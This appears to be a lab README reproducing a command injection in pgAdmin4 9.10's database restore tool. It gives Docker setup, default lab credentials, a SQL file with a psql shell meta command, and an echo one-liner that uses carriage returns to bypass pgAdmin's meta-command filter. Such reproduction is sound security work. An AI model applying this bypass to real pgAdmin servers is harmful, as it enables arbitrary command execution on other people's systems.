# pgAdmin4 <= 9.10 Database Restore Tool Command Injection (CVE-2025-13780)

[中文版本(Chinese version)](README.zh-cn.md)

pgAdmin is a popular and feature-rich Open Source administration and development platform for PostgreSQL, widely used by database administrators and developers for managing PostgreSQL databases through a web-based interface.

A command injection vulnerability exists in pgAdmin4 versions perior to 9.11. Database restore tool in pgAdmin4 uses `psql` program to run plain-text SQL files provided by users. However, an attacker can use special characters to bypass security validations and inject meta commands (`\!`) into SQL file to make `psql` execute arbitrary system commands.

References:

- <https://nvd.nist.gov/vuln/detail/CVE-2025-13780>
- <https://github.com/advisories/GHSA-fxmw-jcgr-w44v>
- <https://github.com/pgadmin-org/pgadmin4/issues/9368>
- <https://github.com/pgadmin-org/pgadmin4/commit/d5a909f14cb9713d89b49481ad1929fad89f4576>

## Environment Setup

Execute the following command to start a pgAdmin4 9.10 server with PostgreSQL database:

```
docker compose up -d
```

After the server starts, visit <http://localhost:5050/> to access the pgAdmin4 login page. The default pgAdmin4 credentials are `vulhub@example.com:vulhub`.

Exploiting this vulnerability requires an accessible PostgreSQL database instance. A PostgreSQL database is already included in the docker-compose.yml and pre-configured in pgAdmin4's server list with credentials `vulhub:vulhub`.

## Vulnerability Reproduction

SELECT "Services -> main -> databases -> vulhub -> Restore" to open the database restore tool:

![](1.png)

Upload SQL file containing a meta command (`\!`):

```sql
SELECT 1;
\! bash -c 'touch /tmp/hacked1'
```

![](2.png)

Set "Format" to "PLAIN" and click "Restore":

![](3.png)

However, pgAdmin can detect meta commands in this sql file and reject this restore operation:

![](4.png)

To bypass this security check, replace newline characters in previous payload with CR(`\r`):

```bash
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql
```

Re-upload and execute the payload:

![](5.png)

Then you can see `hacked` file in `/tmp/` directory. The system command is executed successfully:

![](6.png)

![](7.png)
